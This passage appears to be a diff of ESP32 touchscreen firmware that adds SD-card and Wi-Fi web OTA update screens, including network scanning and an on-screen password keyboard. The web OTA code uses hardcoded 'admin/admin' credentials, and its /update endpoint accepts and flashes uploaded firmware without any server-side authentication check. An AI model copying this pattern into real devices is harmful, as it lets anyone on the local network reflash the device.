lastTouchCheck = millis(); + } +} + +void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled) { + + FeatureUI::ButtonStyle style = highlight ? FeatureUI::ButtonStyle::Primary + : FeatureUI::ButtonStyle::Secondary; + FeatureUI::drawButtonRect(x, y, w, h, label, style, false, disabled); +} + +void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled) { + + tft.fillRect(0, TAB_Y, SCREEN_WIDTH, TAB_BUTTON_HEIGHT, FEATURE_BG); + + if (leftButton[0]) { + drawButton(TAB_LEFT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, leftButton, false, leftDisabled); + } + if (prevButton[0]) { + drawButton(TAB_MIDDLE_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, prevButton, false, prevDisabled); + } + if (nextButton[0]) { + drawButton(TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, nextButton, false, nextDisabled); + } +} + +void drawMenu() { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + tft.setTextSize(1); + + drawButton(BUTTON1_X, BUTTON1_Y, BUTTON_WIDTH, BUTTON_HEIGHT, "SD Update", false, false); + drawButton(BUTTON2_X, BUTTON2_Y, BUTTON_WIDTH, BUTTON_HEIGHT, "Web OTA", false, false); + +} + +bool checkButton(int16_t x, int16_t y, int buttonX, int buttonY, int buttonW, int buttonH) { + return (x > buttonX && x < buttonX + buttonW && y > buttonY && y < buttonY + buttonH); +} + +static void waitForTouchXY(int& x, int& y) { + while (!readTouchXY(x, y)) { + delay(10); + } + + delay(80); +} + +int yshift = 40; + +void performSDUpdate() { + updateStatusBar(); + runUI(); + uiDrawn = false; + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.println("SD Update"); + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("Insert SD card with"); + tft.setCursor(10, 40 + yshift); + tft.println("firmware.bin in root"); + tft.setCursor(10, 50 + yshift); + tft.println("Touch Start to update"); + + drawTabBar("Start", false, "", false, "Back", false); + + bool waitingForStart = true; + + while (waitingForStart) { + int x, y; + if (readTouchXY(x, y)) { + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + if (checkButton(x, y, TAB_LEFT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + waitingForStart = false; + } + delay(50); + } + } + + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + + bool proceed = true; + while (proceed) { + int x, y; + if (readTouchXY(x, y)) { + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + delay(50); + } + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("Initializing SD..."); + + bool ok = false; + #ifdef SD_CS + ok = SD.begin(SD_CS); + #endif + #ifdef SD_CS_PIN + if (!ok) { + #ifdef CC1101_CS + if (SD_CS_PIN != CC1101_CS) ok = SD.begin(SD_CS_PIN); + #else + ok = SD.begin(SD_CS_PIN); + #endif + } + #endif + if (!ok) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 40 + yshift); + tft.println("X SD init failed!"); + tft.setCursor(10, 50 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setCursor(10, 40 + yshift); + tft.println("SD card OK"); + + if (!SD.exists(FIRMWARE_FILE)) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("X Firmware not found!"); + tft.setCursor(10, 40 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + + File firmwareFile = SD.open(FIRMWARE_FILE, FILE_READ); + if (!firmwareFile) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("X File open failed!"); + tft.setCursor(10, 40 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + + size_t fileSize = firmwareFile.size(); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 50 + yshift); + tft.printf("Size: %u bytes\n", fileSize); + if (!Update.begin(fileSize)) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("X Update init failed!"); + tft.setCursor(10, 40 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 60 + yshift); + tft.println("Updating..."); + size_t written = Update.writeStream(firmwareFile); + if (written != fileSize) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("X Update failed!"); + tft.setCursor(10, 40 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setCursor(10, 20 + yshift); + tft.println("Update OK!"); + if (Update.end(true)) { + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("Rebooting..."); + delay(2000); + ESP.restart(); + } else { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("X Finalize failed!"); + tft.setCursor(10, 40 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + drawMenu(); + return; + } + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.println("Starting SD Update..."); + drawTabBar("", false, "", false, "Back", false); + continue; + } + proceed = false; + } +} + +bool selectWiFiNetwork() { + uiDrawn = false; + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.setCursor(10, 50); + tft.setTextColor(GREEN); + tft.setTextSize(1); + tft.println("Scanning..."); + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + delay(100); + + int numNetworks = WiFi.scanNetworks(); + if (numNetworks <= 0) { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.setTextColor(GREEN); + tft.setCursor(10, 50); + tft.println("No networks found."); + tft.setCursor(10, 60); + tft.println("Touch to retry"); + drawTabBar("Rescan", false, "", true, "", true); + int x, y; + while (!readTouchXY(x, y)) { + delay(10); + } + delay(200); + if (x >= TAB_LEFT_X && x < TAB_LEFT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT) { + return selectWiFiNetwork(); + } + return false; + } + + NetworkInfo* networks = new NetworkInfo[numNetworks]; + for (int i = 0; i < numNetworks; i++) { + strncpy(networks[i].ssid, WiFi.SSID(i).c_str(), 31); + networks[i].ssid[31] = '\0'; + networks[i].rssi = WiFi.RSSI(i); + networks[i].channel = WiFi.channel(i); + networks[i].authmode = WiFi.encryptionType(i); + } + + int startIndex = 0; + int selectedIndex = -1; + bool selected = false; + while (!selected) { + drawNetworkList(startIndex, numNetworks, networks, selectedIndex); + int x, y; + while (!readTouchXY(x, y)) { + delay(10); + } + delay(200); + + int y_pos = NETWORK_Y_START; + int end_index = min(startIndex + NETWORKS_PER_PAGE, numNetworks); + for (int i = startIndex; i < end_index && y_pos < 300; i++) { + if (x >= 10 && x < SCREEN_WIDTH - 10 && y >= y_pos && y < y_pos + NETWORK_ROW_HEIGHT) { + char buf[64]; + char ssid[12]; + strncpy(ssid, networks[i].ssid, 11); + ssid[11] = '\0'; + if (strlen(networks[i].ssid) > 11) strcat(ssid, "..."); + const char* enc = networks[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; + snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, networks[i].rssi, networks[i].channel, enc); + tft.setTextColor(ORANGE, TFT_BLACK); + tft.setTextSize(1); + tft.setCursor(10, y_pos); + tft.println(buf); + delay(100); + tft.setTextColor(i == selectedIndex ? ORANGE : (networks[i].authmode == WIFI_AUTH_OPEN ? ORANGE : TFT_WHITE), TFT_BLACK); + tft.setCursor(10, y_pos); + tft.println(buf); + selectedIndex = i; + strncpy(selectedSSID, networks[i].ssid, 31); + selectedSSID[31] = '\0'; + selected = true; + break; + } + y_pos += NETWORK_ROW_HEIGHT; + } + + if (x >= TAB_LEFT_X && x < TAB_LEFT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT) { + delete[] networks; + return selectWiFiNetwork(); + } + if (x >= TAB_MIDDLE_X && x < TAB_MIDDLE_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT && startIndex > 0) { + startIndex -= NETWORKS_PER_PAGE; + selectedIndex = -1; + } + if (x >= TAB_RIGHT_X && x < TAB_RIGHT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT && startIndex + NETWORKS_PER_PAGE < numNetworks) { + startIndex += NETWORKS_PER_PAGE; + selectedIndex = -1; + } + if (x >= 0 && x < 30 && y >= 10 && y < 30) { + wifiPassword[0] = '\0'; + return false; + } + } + + delete[] networks; + return true; +} + +void drawNetworkList(int startIndex, int numNetworks, NetworkInfo* networks, int selectedIndex) { + uiDrawn = false; + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setTextSize(1); + + if (numNetworks == 0) { + tft.setTextColor(GREEN); + tft.setCursor(10, 50); + tft.println("No networks found."); + } else { + int y = 50; + tft.setTextColor(GREEN); + tft.setCursor(10, y); + tft.println("Networks:"); + y += 20; + + int start_index = startIndex; + int end_index = min(start_index + NETWORKS_PER_PAGE, numNetworks); + + for (int i = start_index; i < end_index && y < 300; i++) { + char buf[64]; + char ssid[12]; + strncpy(ssid, networks[i].ssid, 11); + ssid[11] = '\0'; + if (strlen(networks[i].ssid) > 11) strcat(ssid, "..."); + const char* enc = networks[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; + snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, networks[i].rssi, networks[i].channel, enc); + tft.setCursor(10, y); + tft.setTextColor(i == selectedIndex ? ORANGE : (networks[i].authmode == WIFI_AUTH_OPEN ? ORANGE : TFT_WHITE)); + tft.println(buf); + y += NETWORK_ROW_HEIGHT; + } + + char page_buf[20]; + snprintf(page_buf, sizeof(page_buf), "Page %d/%d", start_index / NETWORKS_PER_PAGE + 1, (numNetworks + NETWORKS_PER_PAGE - 1) / NETWORKS_PER_PAGE); + tft.setCursor(180, 50); + tft.setTextColor(GREEN); + tft.println(page_buf); + } + + bool prevDisabled = startIndex == 0; + bool nextDisabled = (startIndex + NETWORKS_PER_PAGE) >= numNetworks; + drawTabBar("Rescan", false, "Prev", prevDisabled, "Next", nextDisabled); + +} + +void drawInputField() { + tft.fillRect(0, 37, 240, 20, TFT_BLACK); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.setCursor(1, 40); + tft.print("Password: "); + tft.print(wifiPassword); + if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { + tft.print("_"); + } +} + +void drawKeyboard() { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + + tft.fillRect(0, 37, 240, 20, TFT_BLACK); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.setCursor(1, 44); + tft.print("Password: "); + tft.print(wifiPassword); + if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { + tft.print("_"); + } + + int yOffset = KEYBOARD_Y_OFFSET_START; + for (int row = 0; row < 4; row++) { + int xOffset = 10; + for (int col = 0; col < strlen(keyboardLayout[row]); col++) { + tft.fillRect(xOffset, yOffset, KEY_WIDTH, KEY_HEIGHT, TFT_DARKGREY); + tft.setTextColor(TFT_WHITE); + tft.setTextSize(1); + tft.setCursor(xOffset + 5, yOffset + 4); + tft.print(keyboardLayout[row][col]); + xOffset += KEY_WIDTH + KEY_SPACING; + } + yOffset += KEY_HEIGHT + KEY_SPACING; + } + + int buttonY = 160; + tft.setTextColor(ORANGE); + tft.setTextSize(1); + tft.setTextDatum(MC_DATUM); + + tft.fillRoundRect(5, buttonY, 70, 25, 8, DARK_GRAY); + tft.drawRoundRect(5, buttonY, 70, 25, 8, ORANGE); + tft.drawString("Back", 40, buttonY + 12); + + tft.fillRoundRect(85, buttonY, 70, 25, 8, DARK_GRAY); + tft.drawRoundRect(85, buttonY, 70, 25, 8, ORANGE); + tft.drawString("Del", 120, buttonY + 12); + + tft.fillRoundRect(165, buttonY, 70, 25, 8, DARK_GRAY); + tft.drawRoundRect(165, buttonY, 70, 25, 8, ORANGE); + tft.drawString("OK", 200, buttonY + 12); + + tft.setTextColor(ORANGE); + tft.setTextSize(1); + tft.setCursor(1, 215); + tft.println("[!] Enter the Wi-Fi password for the"); + tft.setCursor(24, 230); + tft.println("selected network."); + + tft.setCursor(1, 250); + tft.println("[!] Del: Removes last char from the"); + tft.setCursor(24, 265); + tft.println("password."); +} + +void updateInputField() { + tft.fillRect(0, 37, 240, 20, TFT_BLACK); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.setCursor(1, 44); + tft.print("Password: "); + tft.print(wifiPassword); + if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { + tft.print("_"); + } +} + +bool enterWiFiPassword() { + wifiPassword[0] = '\0'; + + OnScreenKeyboardConfig cfg; + cfg.titleLine1 = "[!] Enter the Wi-Fi password for the"; + cfg.titleLine2 = "selected network."; + cfg.rows = keyboardLayout; + cfg.rowCount = 4; + cfg.maxLen = PASSWORD_MAX_LENGTH; + cfg.shuffleNames = nullptr; + cfg.shuffleCount = 0; + cfg.buttonsY = 195; + cfg.backLabel = "Back"; + cfg.middleLabel = "Del"; + cfg.okLabel = "OK"; + cfg.enableShuffle = false; + cfg.requireNonEmpty = true; + cfg.emptyErrorMsg = "Password cannot be empty!"; + + OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, ""); + + if (!r.accepted) { + + wifiPassword[0] = '\0'; + return false; + } + + size_t n = min((size_t)PASSWORD_MAX_LENGTH, (size_t)r.text.length()); + for (size_t i = 0; i < n; ++i) { + wifiPassword[i] = r.text[i]; + } + wifiPassword[n] = '\0'; + + return true; +} + +void performWebOTAUpdate() { + uiDrawn = false; + static size_t totalUploaded = 0; + bool inUpdate = false; + + if (!selectWiFiNetwork()) { + drawMenu(); + return; + } + + if (!enterWiFiPassword()) { + drawMenu(); + return; + } + + updateStatusBar(); + runUI(); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.println("Starting Web OTA..."); + drawTabBar("", false, "", false, "Back", false); + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.println("Connecting Wi-Fi"); + WiFi.begin(selectedSSID, wifiPassword); + int attempts = 0; + while (WiFi.status() != WL_CONNECTED && attempts < 20) { + int x, y; + if (readTouchXY(x, y)) { + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + WiFi.disconnect(); + drawMenu(); + return; + } + delay(200); + } + delay(500); + attempts++; + } + if (WiFi.status() != WL_CONNECTED) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 40 + yshift); + tft.println("X Wi-Fi failed!"); + tft.setCursor(10, 50 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + WiFi.disconnect(); + drawMenu(); + return; + } + performWebOTAUpdate(); + return; + } + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setCursor(10, 40 + yshift); + tft.println("Wi-Fi OK"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 50 + yshift); + tft.print("IP: "); + tft.println(WiFi.localIP()); + tft.setCursor(10, 70 + yshift); + tft.println("URL: http://esp32.local"); + tft.setCursor(10, 80 + yshift); + tft.println("User: admin"); + tft.setCursor(10, 90 + yshift); + tft.println("Pass: admin"); + + if (!MDNS.begin(host)) { + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.setCursor(10, 40 + yshift); + tft.println("X mDNS failed!"); + tft.setCursor(10, 50 + yshift); + tft.println("Touch to retry or Back"); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + WiFi.disconnect(); + drawMenu(); + return; + } + performWebOTAUpdate(); + return; + } + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setCursor(10, 110 + yshift); + tft.println("mDNS OK"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 120 + yshift); + tft.println("Web server ready!"); + tft.setCursor(10, 130 + yshift); + tft.println("Access via browser"); + + server.on("/", HTTP_GET, []() { + server.sendHeader("Connection", "close"); + server.send(200, "text/html", loginIndex); + }); + server.on("/serverIndex", HTTP_GET, []() { + server.sendHeader("Connection", "close"); + server.send(200, "text/html", serverIndex); + }); + server.on("/update", HTTP_POST, []() { + server.sendHeader("Connection", "close"); + bool success = !Update.hasError(); + server.send(200, "text/plain", success ? "OK" : "FAIL"); + if (success) { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.setTextSize(1); + tft.println("Update OK!"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 20 + yshift); + tft.println("Rebooting..."); + delay(2000); + ESP.restart(); + } else { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.println("X Update Failed!"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, 20 + yshift); + tft.println("Touch to retry or Back"); + drawTabBar("", false, "", false, "Back", false); + int x, y; + waitForTouchXY(x, y); + if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + server.close(); + WiFi.disconnect(); + drawMenu(); + return; + } + performWebOTAUpdate(); + } + }, [&inUpdate, &totalUploaded]() { + HTTPUpload& upload = server.upload(); + if (upload.status == UPLOAD_FILE_START) { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setCursor(10, 10 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.println("Web OTA Started..."); + drawTabBar("", false, "", false, "Back", true); + totalUploaded = 0; + inUpdate = true; + if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { + Update.printError(Serial); + } + } else if (upload.status == UPLOAD_FILE_WRITE) { + if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) { + Update.printError(Serial); + } + totalUploaded += upload.currentSize; + int percent = (totalUploaded * 100) / (upload.totalSize ? upload.totalSize : 1000000); + tft.setCursor(10, 30 + yshift); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.printf("Progress: %d%%\n", percent); + } else if (upload.status == UPLOAD_FILE_END) { + if (Update.end(true)) { + Serial.printf("Update Success: %u\n", upload.totalSize); + } else { + Update.printError(Serial); + } + totalUploaded = 0; + inUpdate = false; + } + }); + + server.begin(); + + while (true) { + server.handleClient(); + if (!inUpdate) { + int x, y; + if (readTouchXY(x, y) && checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { + server.close(); + WiFi.disconnect(); + drawMenu(); + return; + } + delay(200); + } + delay(1); + } +} + +void updateSetup() { + + tft.fillScreen(TFT_BLACK); + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(0); + + setupTouchscreen(); + + uiDrawn = false; + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + runUI(); + + drawMenu(); +} + +void updateLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + updateStatusBar(); + runUI(); + if (feature_exit_requested) return; + + int x, y; + if (readTouchXY(x, y)) { + if (x > BUTTON1_X && x < BUTTON1_X + BUTTON_WIDTH && y > BUTTON1_Y && y < BUTTON1_Y + BUTTON_HEIGHT) { + performSDUpdate(); + } + else if (x > BUTTON2_X && x < BUTTON2_X + BUTTON_WIDTH && y > BUTTON2_Y && y < BUTTON2_Y + BUTTON_HEIGHT) { + performWebOTAUpdate(); + } + delay(200); + } +} +}